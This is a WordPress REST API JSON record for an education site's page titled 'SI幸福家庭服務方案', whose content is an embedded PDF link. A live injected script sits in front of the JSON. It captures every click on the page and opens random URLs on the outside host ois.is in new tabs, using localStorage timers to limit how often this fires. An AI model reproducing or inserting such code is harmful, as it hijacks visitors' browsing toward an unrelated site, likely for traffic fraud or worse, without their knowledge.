<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":770,"date":"2014-05-15T02:21:42","date_gmt":"2014-05-14T18:21:42","guid":{"rendered":"http:\/\/edu.secda.info\/peekaboo_toufen\/?page_id=770"},"modified":"2017-07-14T14:44:15","modified_gmt":"2017-07-14T06:44:15","slug":"si%e5%b9%b8%e7%a6%8f%e5%ae%b6%e5%ba%ad%e6%9c%8d%e5%8b%99%e6%96%b9%e6%a1%88","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/peekaboo_toufen\/?page_id=770","title":{"rendered":"SI\u5e78\u798f\u5bb6\u5ead\u670d\u52d9\u65b9\u6848"},"content":{"rendered":"<a href=\"https:\/\/edu.secda.info\/peekaboo_toufen\/wp-content\/uploads\/2014\/05\/si-family.pdf\" class=\"pdfemb-viewer\" style=\"\" data-width=\"max\" data-height=\"max\"  data-toolbar=\"both\" data-toolbar-fixed=\"on\">si-family<br\/><\/a>\n","protected":false},"excerpt":{"rendered":"<p class=\"more-link-p\"><a class=\"more-link\" href=\"https:\/\/edu.secda.info\/peekaboo_toufen\/?page_id=770\">Read more &rarr;<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"parent":973,"menu_order":2,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/peekaboo_toufen\/index.php?rest_route=\/wp\/v2\/pages\/770"}],"collection":[{"href":"https:\/\/edu.secda.info\/peekaboo_toufen\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/peekaboo_toufen\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_toufen\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_toufen\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=770"}],"version-history":[{"count":7,"href":"https:\/\/edu.secda.info\/peekaboo_toufen\/index.php?rest_route=\/wp\/v2\/pages\/770\/revisions"}],"predecessor-version":[{"id":1131,"href":"https:\/\/edu.secda.info\/peekaboo_toufen\/index.php?rest_route=\/wp\/v2\/pages\/770\/revisions\/1131"}],"up":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_toufen\/index.php?rest_route=\/wp\/v2\/pages\/973"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/peekaboo_toufen\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=770"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}